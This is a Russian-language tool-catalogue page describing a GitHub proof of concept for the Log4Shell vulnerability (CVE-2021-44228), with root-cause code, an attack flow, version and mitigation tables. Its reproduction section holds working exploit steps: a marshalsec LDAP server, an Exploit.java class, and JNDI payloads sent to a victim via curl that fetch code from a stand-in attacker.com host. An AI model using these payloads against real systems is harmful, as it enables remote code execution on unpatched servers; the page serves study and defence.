Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE | Kitploit
Инструменты/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
27 дней назадЕщё не проверено

CVE-2021-44228 — Log4Shell: удаленное выполнение кода в Apache Log4j2

CVSS 10.0 КРИТИЧЕСКИЙ | CWE-502: Десериализация недоверенных данных | CWE-917: Некорректная нейтрализация при внедрении языка выражений

Обзор

Log4Shell (CVE-2021-44228) — пожалуй, самая серьезная уязвимость 2020-х годов, затрагивающая Apache Log4j2 версий 2.0 – 2.14.1. Обнаруженная Чэнь Чжаоцзюнем из Alibaba Cloud Security в ноябре 2021 года и публично раскрытая 9 декабря 2021 года, она позволяет неавторизованное удаленное выполнение кода на сотнях миллионов серверов по всему миру.

Уязвимость возникает из-за функции поиска JNDI (Java Naming and Directory Interface) в Log4j2, которая позволяет использовать произвольные строки поиска, такие как ${jndi:ldap://attacker.com/a}, в сообщениях журнала. Когда строка, контролируемая пользователем и содержащая такой шаблон, попадает в журнал, Log4j2 выполняет поиск JNDI, который может загружать и выполнять удаленные Java-классы.

Технические детали

Первопричина

Log4j2 представил функцию под названием «Message Lookup», которая заменяет шаблоны ${...} в сообщениях журнала значениями из различных источников (JNDI, переменные окружения, системные свойства и т.д.). Класс JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) вызывает InitialContext.lookup() для строк, контролируемых атакующим, без надлежащей очистки.

root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

Метод lookup() делегирует вызов javax.naming.InitialContext.lookup(), который может загружать удаленные объекты с серверов LDAP, RMI, DNS или CORBA.

Схема атаки

root@kitploit:~
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

Затронутые версии

Воспроизведение

Настройка (LDAP-реферерный сервер)

Используйте marshalsec для запуска вредоносного LDAP-сервера:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Компиляция класса эксплойта

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Запуск

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Или через HTTP-заголовок:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC-код

Включенный exploit.py предоставляет:

  • Генерация нагрузок для внедрения JNDI (варианты LDAP, RMI, DNS)
  • Внедрение HTTP-заголовков для распространенных целей
  • Автоматический режим LDAP-реферерного сервера
  • Совместная работа с marshalsec или автономно

Смягчение

Ссылки

  • NVD: CVE-2021-44228
  • Рекомендации по безопасности Apache Log4j
  • Руководство CISA по Log4j
  • Анализ Log4Shell от Lunasec
Скачать инструмент
ВерсияСтатус
Log4j 2.0 – 2.14.1Уязвимая
Log4j 2.15.0-rc1Частичное исправление (обход CVE-2021-45046)
Log4j 2.15.0Ограниченное исправление (JNDI отключен по умолчанию, ограниченные поиски)
Log4j 2.16.0JNDI отключен, удалены Message Lookups
Log4j 2.17.0Окончательное исправление для 2.x (CVE-2021-44832)
Log4j 1.xНапрямую не затронуты (другая кодовая база)
ПодходДетали
Обновление Log4jОбновление до 2.17.0+ (2.x) или 2.12.4+ (Java 7)
Флаг JVM-Dlog4j2.formatMsgNoLookups=true
Удаление JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Правила WAFБлокировка шаблонов ${jndi: в запросах
Сетевые контролиБлокировка исходящих LDAP/RMI на ненадежные серверы